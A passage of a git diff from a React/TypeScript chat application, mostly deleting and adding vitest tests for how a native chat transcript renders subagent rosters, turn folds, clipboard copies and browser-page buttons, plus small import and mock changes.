-        workingStartedAt={phase === 'done' ? null : Date.now() - 1500}
-        settledTurns={settledTurns}
-        expandSignal={false}
-      />
-    )
-  }
-
-  it('draws it where it was sent, with its reason and no Retry, outside the newer turn', () => {
-    const { container, rerender } = render(hostList('running'))
-    expect(drawn(container)).toEqual([
-      'SEED PROMPT',
-      'WORKED',
-      'LOST PROMPT',
-      'NEW PROMPT',
-      'WORKING',
-      'ACTIVITY'
-    ])
-    expect(container.textContent).toContain('Orca restarted before this message was sent.')
-    expect(container.querySelector('button[aria-label="Retry"]')).toBeNull()
-    expect(
-      [...container.querySelectorAll('button')].map((button) => button.textContent)
-    ).not.toContain('Retry')
-    rerender(hostList('done'))
-    expect(drawn(container)).toEqual([
-      'SEED PROMPT',
-      'WORKED',
-      'LOST PROMPT',
-      'NEW PROMPT',
-      'WORKED'
-    ])
-    expect(container.textContent).toContain('Worked for 5s')
-  })
-})
diff --git a/src/renderer/src/components/native-chat/subagents/NativeChatMessageList.subagent-sections.test.tsx b/src/renderer/src/components/native-chat/subagents/NativeChatMessageList.subagent-sections.test.tsx
deleted file mode 100644
index 78427ceae40..00000000000
--- a/src/renderer/src/components/native-chat/subagents/NativeChatMessageList.subagent-sections.test.tsx
+++ /dev/null
@@ -1,230 +0,0 @@
-// @vitest-environment happy-dom
-
-import '@testing-library/jest-dom/vitest'
-
-import { cleanup, fireEvent, screen } from '@testing-library/react'
-import { render } from '../messages/actions/native-chat-tooltip-test-harness'
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-import type {
-  AgentJournalItemBody,
-  AgentJournalProducerLinkage,
-  AgentJournalRenderItem
-} from '../../../../../shared/agent-session/journal/agent-session-journal-types'
-
-import type { NativeChatSubagentState } from '../../../../../shared/native-chat/native-chat-types'
-
-import { projectStructuredItemsToNativeChat } from '../../../../../shared/agent-session/view/structured-agent-session-projection'
-
-import { NativeChatMessageList } from '../NativeChatMessageList'
-
-import { session, stubLayout } from '../viewport/virtualization/native-chat-windowing-test-harness'
-
-{
-  function journalItem(
-    itemId: string,
-    body: AgentJournalItemBody,
-    sequence: number,
-    linkage: AgentJournalProducerLinkage = {}
-  ): AgentJournalRenderItem {
-    return { itemId, body, sequence, observedAt: sequence * 1000, revision: 1, ...linkage }
-  }
-
-  const child: AgentJournalProducerLinkage = { agentId: 'task-1', producerKind: 'agent' }
-  const patch = '@@ -1 +1 @@\n-before\n+after'
-  const itemsWith = (
-    state: NativeChatSubagentState,
-    answered: boolean
-  ): AgentJournalRenderItem[] => [
-    journalItem(
-      'ask',
-      { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'Review it' }] },
-      1
-    ),
-    journalItem(
-      'spawn',
-      {
-        kind: 'message',
-        role: 'system',
-        blocks: [
-          {
-            type: 'subagent-group',
-            groupId: 'group-1',
-            agents: [{ id: 'task-1', label: 'explore the lane', state }]
-          }
-        ]
-      },
-      2
-    ),
-    journalItem(
-      'child-said',
-      { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'The PR is CLEAN.' }] },
-      3,
-      child
-    ),
-    journalItem(
-      'child-edit',
-      {
-        kind: 'diff',
-        path: 'src/a.ts',
-        patch: { head: patch, truncated: false, digest: 'fixture', byteLength: patch.length }
-      },
-      4,
-      child
-    ),
-    ...(answered
-      ? [
-          journalItem(
-            'answer',
-            {
-              kind: 'message',
-              role: 'assistant',
-              blocks: [{ type: 'text', text: 'Delegated; nothing to fix.' }]
-            },
-            5
-          )
-        ]
-      : [])
-  ]
-
-  /** `waiting`: the session runs and has produced nothing since the roster. */
-  function listOf(state: NativeChatSubagentState, waiting = false): React.JSX.Element {
-    const items = itemsWith(state, !waiting)
-    return (
-      <NativeChatMessageList
-        session={session(projectStructuredItemsToNativeChat(items))}
-        journalItems={items}
-        isWorking={waiting}
-        expandSignal={false}
-      />
-    )
-  }
-
-  describe("a subagent's rows in the transcript", () => {
-    afterEach(cleanup)
-    let restoreLayout = (): void => {}
-    beforeEach(() => {
-      restoreLayout = stubLayout()
-    })
-    afterEach(() => {
-      restoreLayout()
-      vi.restoreAllMocks()
-    })
-
-    // Journal turn records own subagent edits, even when a newer send is queued or the opener is unloaded.
-    it("counts a subagent's edit in the turn the journal says it was made in", () => {
-      const say = (itemId: string, role: 'user' | 'assistant', text: string, sequence: number) =>
-        journalItem(itemId, { kind: 'message', role, blocks: [{ type: 'text', text }] }, sequence)
-      const turn = (turnId: string, userItemId: string, sequence: number) =>
-        journalItem(
-          `turn-${turnId}`,
-          { kind: 'turn', turnId, state: 'completed', userItemId, startedAt: sequence * 1000 },
-          sequence
-        )
-      const childEdit = (itemId: string, path: string, sequence: number) =>
-        journalItem(
-          itemId,
-          {
-            kind: 'diff',
-            path,
-            patch: { head: patch, truncated: false, digest: path, byteLength: patch.length }
-          },
-          sequence,
-          child
-        )
-      const [ask, spawn] = itemsWith('completed', false)
-      const items = [
-        ask!,
-        turn('1', 'ask', 2),
-        { ...spawn!, sequence: 3 },
-        say('ask-2', 'user', 'And the tests?', 4),
-        childEdit('child-edit', 'src/a.ts', 5),
-        say('answer-1', 'assistant', 'Edited a.', 6),
-        turn('2', 'ask-2', 7),
-        say('answer-2', 'assistant', 'Tests pass.', 8),
-        // Its opener is outside the loaded window, so the turn keys to its own record.
-        turn('3', 'older-send', 9),
-        childEdit('child-woke', 'src/b.ts', 10),
-        say('answer-3', 'assistant', 'Picked up the result.', 11)
-      ]
-      render(
-        <NativeChatMessageList
-          session={session(projectStructuredItemsToNativeChat(items))}
-          journalItems={items}
-          isWorking={false}
-          expandSignal={false}
-        />
-      )
-      const rollups = screen.getAllByRole('button', { name: /src\/[ab].ts/ })
-      expect(rollups.map((rollup) => rollup.getAttribute('aria-label'))).toEqual([
-        expect.stringMatching(/src\/a.ts/),
-        expect.stringMatching(/src\/b.ts/)
-      ])
-      const inOrder = [
-        screen.getByText('Edited a.'),
-        rollups[0]!,
-        screen.getByText('Tests pass.'),
-        screen.getByText('Picked up the result.'),
-        rollups[1]!
-      ]
-      for (const [index, node] of inOrder.slice(1).entries()) {
-        expect(inOrder[index]!.compareDocumentPosition(node)).toBe(Node.DOCUMENT_POSITION_FOLLOWING)
-      }
-    })
-
-    it('keeps a roster list open or closed past its row unmounting, and hides its sections while closed', () => {
-      const items = itemsWith('completed', true)
-      const view = (withRoster: boolean) => {
-        const shown = withRoster ? items : items.filter((next) => next.itemId !== 'spawn')
-        return (
-          <NativeChatMessageList
-            session={session(projectStructuredItemsToNativeChat(shown))}
-            journalItems={shown}
-            isWorking={false}
-            expandSignal={false}
-          />
-        )
-      }
-      const { rerender } = render(view(true))
-      fireEvent.click(screen.getByRole('button', { name: /Ran 1 subagent/ }))
-      fireEvent.click(screen.getByRole('button', { name: /explore the lane/, expanded: false }))
-      expect(screen.getByText('The PR is CLEAN.')).toBeInTheDocument()
-
-      rerender(view(false))
-      rerender(view(true))
-      expect(screen.getByRole('button', { name: /Ran 1 subagent/, expanded: true })).toBeVisible()
-
-      fireEvent.click(screen.getByRole('button', { name: /Ran 1 subagent/ }))
-      expect(screen.queryByText('The PR is CLEAN.')).toBeNull()
-      fireEvent.click(screen.getByRole('button', { name: /Ran 1 subagent/ }))
-      expect(screen.getByText('The PR is CLEAN.')).toBeInTheDocument()
-    })
-
-    it("keeps the reader's choice over the frontier, in either direction", () => {
-      const { rerender } = render(listOf('working', true))
-      fireEvent.click(screen.getByRole('button', { name: /explore the lane/, expanded: true }))
-      rerender(listOf('working', true))
-      expect(screen.queryByText('The PR is CLEAN.')).toBeNull()
-
-      fireEvent.click(screen.getByRole('button', { name: /explore the lane/, expanded: false }))
-      rerender(listOf('working'))
-      expect(screen.getByText('The PR is CLEAN.')).toBeInTheDocument()
-    })
-  })
-}
diff --git a/src/renderer/src/components/native-chat/surfaces/integration/NativeChatMessageList.test.tsx b/src/renderer/src/components/native-chat/surfaces/integration/NativeChatMessageList.test.tsx
deleted file mode 100644
index e3a09e7bfd0..00000000000
--- a/src/renderer/src/components/native-chat/surfaces/integration/NativeChatMessageList.test.tsx
+++ /dev/null
@@ -1,484 +0,0 @@
-// @vitest-environment happy-dom
-
-import '@testing-library/jest-dom/vitest'
-
-import { cleanup, fireEvent, screen } from '@testing-library/react'
-import { render } from '../../messages/actions/native-chat-tooltip-test-harness'
-
-import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-afterEach(() => {
-  expect(unusedChatLeaves.inlineVisual).not.toHaveBeenCalled()
-  expect(unusedChatLeaves.openSender).not.toHaveBeenCalled()
-})
-
-import { subagentGroupFallbackText } from '../../../../../../shared/native-chat/transcript/native-chat-subagent-summary'
-
-import type {
-  NativeChatMessage,
-  NativeChatSubagentEntry
-} from '../../../../../../shared/native-chat/native-chat-types'
-
-import type { NativeChatLiveSession } from '../../session/terminal/read/native-chat-live-session-contract'
-
-import { NativeChatMessageList } from '../../NativeChatMessageList'
-
-import { installNativeChatMessageListTestViewport } from '../../viewport/virtualization/native-chat-message-list-test-viewport'
-
-import type { AgentJournalRenderItem } from '../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import type { AgentJournalTurnScope } from '../../../../../../shared/agent-session/journal/agent-session-journal-turn-scope'
-
-{
-  const session: NativeChatLiveSession = {
-    messages: [
-      {
-        id: 'assistant-1',
-        role: 'assistant',
-        blocks: [{ type: 'text', text: 'Selectable agent response.' }],
-        timestamp: 1,
-        source: 'transcript'
-      }
-    ],
-    status: 'ready',
-    sessionId: 'session-1',
-    agent: 'codex',
-    hasMore: false,
-    loadingEarlier: false,
-    olderHistoryGeneration: 0,
-    loadEarlier: vi.fn(),
-    readPhase: 'ready'
-  }
-
-  describe('NativeChatMessageList assistant messages', () => {
-    let restoreViewport = (): void => {}
-    beforeAll(() => {
-      restoreViewport = installNativeChatMessageListTestViewport()
-    })
-    afterAll(() => restoreViewport())
-    afterEach(cleanup)
-    it.each([true, false])(
-      'copies selections across message roots from the transcript (math=%s)',
-      (math) => {
-        const sources = math
-          ? ['Before $x^2$ after.', 'Then \\(y_i\\).']
-          : ['Before plain after.', 'Then plain.']
-        const view = render(
-          <NativeChatMessageList
-            session={{
-              ...session,
-              messages: sources.map((text, index) => ({
-                id: `selection-${index}`,
-                role: 'assistant',
-                blocks: [{ type: 'text', text }],
-                timestamp: index + 1,
-                source: 'transcript'
-              }))
-            }}
-            isWorking={false}
-            expandSignal={false}
-          />
-        )
-        const transcript = view.container.querySelector('[data-native-chat-scroll]')
-        const paragraphs = view.container.querySelectorAll('[data-native-chat-quote-source] p')
-        if (!transcript || paragraphs.length !== 2) {
-          throw new Error('Missing transcript paragraphs')
-        }
-        const range = document.createRange()
-        range.setStart(paragraphs[0].firstChild ?? paragraphs[0], 0)
-        range.setEnd(paragraphs[1], paragraphs[1].childNodes.length)
-        const selection = document.getSelection()
-        selection?.removeAllRanges()
-        selection?.addRange(range)
-        for (const target of [paragraphs[0], transcript]) {
-          const setData = vi.fn()
-          const event = new Event('copy', { bubbles: true, cancelable: true })
-          Object.defineProperty(event, 'clipboardData', { value: { setData } })
-          fireEvent(target, event)
-          if (math) {
-            const copied = setData.mock.calls.find(([type]) => type === 'text/plain')?.[1]
-            expect(copied).toBe(sources.join('\n\n'))
-            expect(event.defaultPrevented).toBe(true)
-          } else {
-            expect(setData).not.toHaveBeenCalled()
-            expect(event.defaultPrevented).toBe(false)
-          }
-        }
-        const setData = vi.fn()
-        const handled = new Event('copy', { bubbles: true, cancelable: true })
-        handled.preventDefault()
-        Object.defineProperty(handled, 'clipboardData', { value: { setData } })
-        fireEvent(transcript, handled)
-        expect(setData).not.toHaveBeenCalled()
-        selection?.removeAllRanges()
-      }
-    )
-
-    // Prose settles the preceding run; reasoning asides remain inside it.
-    it('settles a run once prose follows it, but not for a reasoning aside', () => {
-      const run = {
-        id: 'assistant-tool-1',
-        role: 'assistant' as const,
-        blocks: [
-          {
-            type: 'tool-call' as const,
-            name: 'shell',
-            input: { command: 'sleep 5' },
-            state: 'running' as const
-          }
-        ],
-        timestamp: 1,
-        source: 'transcript' as const
-      }
-      const after = (role: 'assistant' | 'reasoning') => ({
-        id: `after-${role}`,
-        role,
-        blocks: [{ type: 'text' as const, text: 'Looking at the output.' }],
-        timestamp: 2,
-        source: 'transcript' as const
-      })
-      const { rerender } = render(
-        <NativeChatMessageList
-          session={{ ...session, status: 'working', messages: [run, after('reasoning')] }}
-          isWorking
-          expandSignal={false}
-        />
-      )
-      expect(screen.getByText('Running 1 command')).toBeInTheDocument()
-
-      rerender(
-        <NativeChatMessageList
-          session={{ ...session, status: 'working', messages: [run, after('assistant')] }}
-          isWorking
-          expandSignal={false}
-        />
-      )
-      expect(screen.queryByText('Running 1 command')).toBeNull()
-      expect(screen.getByText('sleep 5')).toBeInTheDocument()
-    })
-
-    it('keeps the current tool live when a stale completed lifecycle meets active hook state', () => {
-      render(
-        <NativeChatMessageList
-          session={{
-            ...session,
-            status: 'working',
-            transcriptLifecycle: { state: 'completed', turnId: 'old-turn', timestamp: 1 },
-            messages: [
-              {
-                id: 'current-tool',
-                role: 'assistant',
-                blocks: [
-                  {
-                    type: 'tool-call',
-                    name: 'shell',
-                    input: { command: 'sleep 5' },
-                    state: 'running'
-                  }
-                ],
-                timestamp: 2,
-                source: 'transcript'
-              }
-            ]
-          }}
-          isWorking
-          expandSignal={false}
-        />
-      )
-
-      expect(screen.getByText('Running 1 command')).toBeInTheDocument()
-      expect(screen.getByText('sleep 5')).toBeInTheDocument()
-    })
-  })
-
-  // Exercise list assembly: folding, turn mapping and disclosure decide whether roster rows reach the DOM.
-  describe('NativeChatMessageList spawn-group roster', () => {
-    let restoreViewport = (): void => {}
-    beforeAll(() => {
-      restoreViewport = installNativeChatMessageListTestViewport()
-    })
-    afterAll(() => restoreViewport())
-    afterEach(cleanup)
-    const ROSTER: NativeChatSubagentEntry[] = [
-      { id: 'a', label: 'read', state: 'completed' },
-      { id: 'b', label: 'search', state: 'failed' }
-    ]
-
-    /** Match the producer’s structured roster plus plain-text fallback for older clients. */
-    function rosterMessage(agents: NativeChatSubagentEntry[], at: number): NativeChatMessage {
-      return {
-        id: 'roster-1',
-        role: 'system',
-        blocks: [
-          { type: 'text', text: subagentGroupFallbackText(agents) },
-          { type: 'subagent-group', groupId: 'thread-1:turn-1', agents }
-        ],
-        timestamp: at,
-        source: 'transcript'
-      }
-    }
-
-    // Use ascending timestamps; equal times sort by id and can move the opener after its roster.
-    function rosterSession(
-      agents: NativeChatSubagentEntry[],
-      startedAt: number
-    ): NativeChatLiveSession {
-      return {
-        ...session,
-        status: 'ready',
-        messages: [
-          {
-            id: 'user-fanout',
-            role: 'user',
-            blocks: [{ type: 'text', text: 'Fan this out' }],
-            timestamp: startedAt,
-            source: 'transcript'
-          },
-          {
-            id: 'assistant-fanout',
-            role: 'assistant',
-            blocks: [
-              { type: 'tool-call', name: 'shell', input: { command: 'pwd' }, state: 'completed' },
-              { type: 'tool-result', output: '/repo' }
-            ],
-            timestamp: startedAt + 1,
-            source: 'transcript'
-          },
-          rosterMessage(agents, startedAt + 2)
-        ]
-      }
-    }
-
-    // Providers may fold a roster beside real prose; remove only its fallback twin.
-    it('keeps prose beside a roster block and drops only the twin', () => {
-      const startedAt = Date.now() - 3000
-      const twin = subagentGroupFallbackText(ROSTER)
-      render(
-        <NativeChatMessageList
-          session={{
-            ...rosterSession(ROSTER, startedAt),
-            messages: [
-              {
-                id: 'roster-with-prose',
-                role: 'assistant',
-                blocks: [
-                  { type: 'text', text: 'Handing the audit to two children.' },
-                  { type: 'text', text: twin },
-                  { type: 'subagent-group', groupId: 'thread-1:turn-1', agents: ROSTER }
-                ],
-                timestamp: startedAt + 3,
-                source: 'transcript'
-              }
-            ]
-          }}
-          isWorking={false}
-          workingStartedAt={startedAt}
-          expandSignal={false}
-        />
-      )
-
-      expect(screen.getByText('Handing the audit to two children.')).toBeInTheDocument()
-      expect(screen.getByRole('button', { name: /Ran 2 subagents/ })).toBeInTheDocument()
-      expect(screen.queryByText(twin)).toBeNull()
-    })
-
-    // A newer turn must not turn still-running children into completed or unverifiable agents.
-    it('keeps live children working after a newer turn supersedes their own', () => {
-      const startedAt = Date.now() - 3000
-      const live = rosterSession(
-        [
-          { id: 'a', label: 'read_readme', state: 'working', startedAt },
-          { id: 'b', label: 'read_package', state: 'working', startedAt }
-        ],
-        startedAt
-      )
-      render(
-        <NativeChatMessageList
-          session={{
-            ...live,
-            status: 'working',
-            messages: [
-              ...live.messages,
-              {
-                id: 'user-correction',
-                role: 'user',
-                blocks: [{ type: 'text', text: 'Actually, read the styleguide too' }],
-                timestamp: startedAt + 3,
-                source: 'transcript'
-              }
-            ]
-          }}
-          isWorking
-          workingStartedAt={startedAt + 3}
-          expandSignal={false}
-        />
-      )
-
-      const roster = screen.getByRole('button', { name: /Kicked off 2 subagents/ })
-      expect(roster).toHaveTextContent('2 working')
-      expect(roster).not.toHaveTextContent('unverifiable')
-      expect(screen.queryByRole('button', { name: /Ran 2 subagents/ })).toBeNull()
-    })
-  })
-}
-
-{
-  const NARRATION = 'I am starting with the required readiness pass.'
-  const MORE_NARRATION = 'The branch is current and the reference corpus is refreshed.'
-  const ANSWER = 'Review complete: clean after fixes.'
-
-  function session(startedAt: number): NativeChatLiveSession {
-    return {
-      messages: [
-        {
-          id: 'user-1',
-          role: 'user',
-          blocks: [{ type: 'text', text: 'Please review this PR.' }],
-          timestamp: startedAt,
-          source: 'transcript'
-        },
-        {
-          id: 'narration-1',
-          role: 'assistant',
-          blocks: [{ type: 'text', text: NARRATION }],
-          timestamp: startedAt + 1,
-          source: 'transcript'
-        },
-        {
-          id: 'work-1',
-          role: 'assistant',
-          blocks: [
-            {
-              type: 'tool-call',
-              name: 'shell',
-              input: { command: 'pnpm test' },
-              state: 'completed'
-            },
-            { type: 'tool-result', output: 'ok' }
-          ],
-          timestamp: startedAt + 2,
-          source: 'transcript'
-        },
-        {
-          id: 'narration-2',
-          role: 'assistant',
-          blocks: [{ type: 'text', text: MORE_NARRATION }],
-          timestamp: startedAt + 3,
-          source: 'transcript'
-        },
-        {
-          id: 'answer-1',
-          role: 'assistant',
-          blocks: [{ type: 'text', text: ANSWER }],
-          timestamp: startedAt + 4,
-          source: 'transcript'
-        }
-      ],
-      status: 'ready',
-      sessionId: 'session-1',
-      agent: 'codex',
-      hasMore: false,
-      loadingEarlier: false,
-      olderHistoryGeneration: 0,
-      loadEarlier: vi.fn(),
-      readPhase: 'ready'
-    }
-  }
-
-  /** One turn owns every later row; statesScope=false models older hosts without row scopes. */
-  function journalOf(
-    messages: readonly NativeChatMessage[],
-    statesScope: boolean
-  ): AgentJournalRenderItem[] {
-    const scope = (turnScope: AgentJournalTurnScope) => (statesScope ? { turnScope } : {})
-    const [opener, ...rest] = messages
-    const entry = (message: NativeChatMessage, sequence: number): AgentJournalRenderItem => ({
-      itemId: message.id,
-      revision: 0,
-      sequence,
-      observedAt: sequence,
-      body: {
-        kind: 'message',
-        role: message.role === 'user' ? 'user' : 'assistant',
-        blocks: [{ type: 'text', text: message.id }]
-      },
-      ...scope({ kind: 'turn', turnItemId: 'turn-1' })
-    })
-    return [
-      { ...entry(opener!, 1), ...scope({ kind: 'thread' }) },
-      {
-        itemId: 'turn-1',
-        revision: 0,
-        sequence: 2,
-        observedAt: 2,
-        body: { kind: 'turn', turnId: 'turn-1', state: 'completed', userItemId: opener!.id },
-        ...scope({ kind: 'thread' })
-      },
-      ...rest.map((message, index) => entry(message, index + 3))
-    ]
-  }
-
-  describe('NativeChatMessageList settled turn fold', () => {
-    let restoreViewport = (): void => {}
-    beforeAll(() => {
-      restoreViewport = installNativeChatMessageListTestViewport()
-    })
-    afterAll(() => restoreViewport())
-    afterEach(cleanup)
-
-    // A mid-turn steer remains in the opener’s fold without gaining its own turn bar.
-    it.each([
-      ['states each row’s turn', true],
-      ['states no scope', false]
-    ])(
-      "folds the rows after a mid-turn send behind the opener's bar on a host that %s",
-      (_host, statesScope) => {
-        const startedAt = Date.now() - 3000
-        const base = session(startedAt)
-        const steer: (typeof base.messages)[number] = {
-          id: 'mid-b',
-          role: 'user',
-          blocks: [{ type: 'text', text: 'Also check the tests.' }],
-          timestamp: startedAt + 2,
-          source: 'transcript'
-        }
-        const messages = [...base.messages.slice(0, 3), steer, ...base.messages.slice(3)]
-        render(
-          <NativeChatMessageList
-            session={{ ...base, messages }}
-            journalItems={journalOf(messages, statesScope)}
-            journalSubmissions={[]}
-            isWorking={false}
-            workingStartedAt={null}
-            settledTurns={new Map([['user-1', { startedAt, workedSeconds: 70 }]])}
-            expandSignal={false}
-          />
-        )
-
-        expect(screen.getByText('Also check the tests.')).toBeInTheDocument()
-        expect(screen.queryByText(NARRATION)).toBeNull()
-        expect(screen.queryByText(MORE_NARRATION)).toBeNull()
-        const toggles = screen.getAllByRole('button', { name: 'Toggle turn details' })
-        expect(toggles).toHaveLength(1)
-
-        fireEvent.click(toggles[0]!)
-        expect(screen.getByText(NARRATION)).toBeInTheDocument()
-        expect(screen.getByText(MORE_NARRATION)).toBeInTheDocument()
-      }
-    )
-  })
-}
diff --git a/src/renderer/src/components/native-chat/surfaces/integration/NativeChatStructuredSession.test-harness.tsx b/src/renderer/src/components/native-chat/surfaces/integration/NativeChatStructuredSession.test-harness.tsx
index 3d014c8deaa..77585ea9c24 100644
--- a/src/renderer/src/components/native-chat/surfaces/integration/NativeChatStructuredSession.test-harness.tsx
+++ b/src/renderer/src/components/native-chat/surfaces/integration/NativeChatStructuredSession.test-harness.tsx
@@ -292,7 +292,8 @@ export function createStructuredSessionMocks() {
         mocks.retryLaunch(worktreeId, sessionId)
         mocks.relaunchWithMessage(worktreeId, sessionId, text)
         return new Promise(() => {})
-      }
+      },
+      sendMessageToStartingStructuredAgentSession: () => null
     }),
     useNativeChatFontSize: () => ({
       useNativeChatFontSize: () => undefined
diff --git a/src/renderer/src/components/native-chat/tools/runs/NativeChatBrowserPageButton.test.tsx b/src/renderer/src/components/native-chat/tools/runs/NativeChatBrowserPageButton.test.tsx
index 50845d73e13..1ef00b0357f 100644
--- a/src/renderer/src/components/native-chat/tools/runs/NativeChatBrowserPageButton.test.tsx
+++ b/src/renderer/src/components/native-chat/tools/runs/NativeChatBrowserPageButton.test.tsx
@@ -1,6 +1,6 @@
 // @vitest-environment happy-dom
 
-import { act, render, screen } from '@testing-library/react'
+import { act, render, screen, within } from '@testing-library/react'
 import type { ReactNode } from 'react'
 import { describe, expect, it, vi } from 'vitest'
 import type { BrowserPage } from '../../../../../../shared/browser-workspace-types'
@@ -71,4 +71,29 @@ describe('NativeChatBrowserRunPageButton', () => {
     act(() => setBrowserAgentPageActive('p2', true, 'wt-1'))
     expect(screen.getByRole('button').getAttribute('title')).toBe('First')
   })
+
+  it("ignores other agents driving a different page before this run's command lands", () => {
+    state.browserPagesByWorkspace = { 'ws-1': [page('p1', 'Mine'), page('p2', 'Theirs')] }
+    // An earlier run in this chat, so it is known to claim its activity.
+    setBrowserAgentPageActive('p1', true, 'wt-1', undefined, 'session-1')
+    const { container } = render(
+      <NativeChatBrowserRunPageButton
+        calls={[
+          {
+            type: 'tool-call',
+            name: 'Bash',
+            input: { command: 'orca browser click @e1' },
+            callId: 'run-b'
+          }
+        ]}
+      />,
+      { wrapper }
+    )
+
+    act(() => setBrowserAgentPageActive('p2', true, 'wt-1'))
+    act(() => setBrowserAgentPageActive('p2', true, 'wt-1', undefined, 'session-2'))
+    act(() => setBrowserAgentPageActive('p1', true, 'wt-1', undefined, 'session-1'))
+    act(() => setBrowserAgentPageActive('p2', true, 'wt-1'))
+    expect(within(container).getByRole('button').getAttribute('title')).toBe('Mine')
+  })
 })
diff --git a/src/renderer/src/components/native-chat/tools/runs/NativeChatBrowserPageButton.tsx b/src/renderer/src/components/native-chat/tools/runs/NativeChatBrowserPageButton.tsx
index ccd667ade63..d11c156f520 100644
--- a/src/renderer/src/components/native-chat/tools/runs/NativeChatBrowserPageButton.tsx
+++ b/src/renderer/src/components/native-chat/tools/runs/NativeChatBrowserPageButton.tsx
@@ -62,7 +62,7 @@ function BrowserPageButton({
 }): React.JSX.Element | null {
   const t = useTranslate()
   const owner = useNativeChatVisualOwner()
-  const latest = useLastBrowserAgentActivity(owner?.worktreeId ?? null)
+  const latest = useLastBrowserAgentActivity(owner?.worktreeId ?? null, owner?.sessionId ?? null)
   // A call appears before its command reaches the browser, so only later activity is its own.
   const [baseline, setBaseline] = useState(() => startRun(runCallId))
   if (baseline.runCallId !== runCallId) {
diff --git a/src/renderer/src/components/native-chat/usage/NativeChatUsageLimitActions.tsx b/src/renderer/src/components/native-chat/usage/NativeChatUsageLimitActions.tsx
index 5621382fb1a..ba2673addc3 100644
--- a/src/renderer/src/components/native-chat/usage/NativeChatUsageLimitActions.tsx
+++ b/src/renderer/src/components/native-chat/usage/NativeChatUsageLimitActions.tsx
@@ -5,34 +5,30 @@ import {
   useLayoutEffect,
   useMemo,
   useRef,
-  useState,
-  type ReactNode
+  useState
 } from 'react'
+import type { ReactNode } from 'react'
 import { MessageSquarePlus } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { useTranslate } from '@/i18n/use-translate'
 import { useAppStore } from '@/store/index'
-import { structuredChatTabById } from '@/lib/structured-chat-tab-index'
+import { structuredChatTabById } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
 import { useStructuredChatTabConversationName } from '@/runtime/native-chat/naming/structured-conversation-name'
 import { AgentSessionContinuationDialog } from '@/components/agent-session-continuation/AgentSessionContinuationDialog'
-import {
-  buildAgentSessionContinuationPrompt,
-  type AgentSessionContinuationRequest
-} from '@/lib/agent-session/context/agent-session-continuation'
+import { buildAgentSessionContinuationPrompt } from '@/lib/agent-session/context/agent-session-continuation'
+import type { AgentSessionContinuationRequest } from '@/lib/agent-session/context/agent-session-continuation'
 import { ClaudeSwitcherMenu } from '@/components/status-bar/ClaudeSwitcherMenu'
 import { ProviderAccountChatButton } from '@/components/status-bar/ProviderAccountChatButton'
 import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config'
 import { callStructuredAgentSession } from '@/runtime/native-chat/requests/structured-agent-session-call'
-import type { AgentSessionOptionsResult } from '../../../../../shared/agent-session/options/agent-session-options-result'
 import { executionHostIdForStructuredTarget } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
-import {
-  NativeChatOrcaStopContext,
-  type NativeChatOrcaStopView
-} from '@/components/native-chat/messages/notices/native-chat-orca-stop-context'
+import { NativeChatOrcaStopContext } from '@/components/native-chat/messages/notices/native-chat-orca-stop-context'
+import type { NativeChatOrcaStopView } from '@/components/native-chat/messages/notices/native-chat-orca-stop-context'
+import { nativeChatMessageCopyText } from '../../../../../shared/native-chat/transcript/native-chat-message-copy-text'
+import type { AgentSessionOptionsResult } from '../../../../../shared/agent-session/options/agent-session-options-result'
 import type { NativeChatMessage } from '../../../../../shared/native-chat/native-chat-types'
 import type { NativeChatStructuredViewProps } from '@/components/native-chat/native-chat-view-types'
 import type { NativeChatFileLinkContext } from '@/components/native-chat/links/actions/native-chat-file-link-context'
-import { nativeChatMessageCopyText } from '../../../../../shared/native-chat/transcript/native-chat-message-copy-text'
 
 type UsageLimitActions = {
   account: ReactNode
diff --git a/src/renderer/src/components/native-chat/viewport/history/NativeChatMessageList.older-history.test.tsx b/src/renderer/src/components/native-chat/viewport/history/NativeChatMessageList.older-history.test.tsx
deleted file mode 100644
index 14df9d4defa..00000000000
--- a/src/renderer/src/components/native-chat/viewport/history/NativeChatMessageList.older-history.test.tsx
+++ /dev/null
@@ -1,429 +0,0 @@
-// @vitest-environment happy-dom
-import { createRef, useSyncExternalStore } from 'react'
-import type { NativeChatMessageListHandle } from '../../messages/actions/use-native-chat-reveal-latest'
-
-import '@testing-library/jest-dom/vitest'
-
-import { act, cleanup, fireEvent, screen } from '@testing-library/react'
-import { render } from '../../messages/actions/native-chat-tooltip-test-harness'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const historyHost = vi.hoisted(() => ({ call: vi.fn(), subscribe: vi.fn() }))
-vi.mock('../../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: historyHost.call
-}))
-
-vi.mock('../../../../runtime/native-chat/requests/structured-agent-session-subscriptions', () => ({
-  subscribeStructuredAgentSession: historyHost.subscribe
-}))
-
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
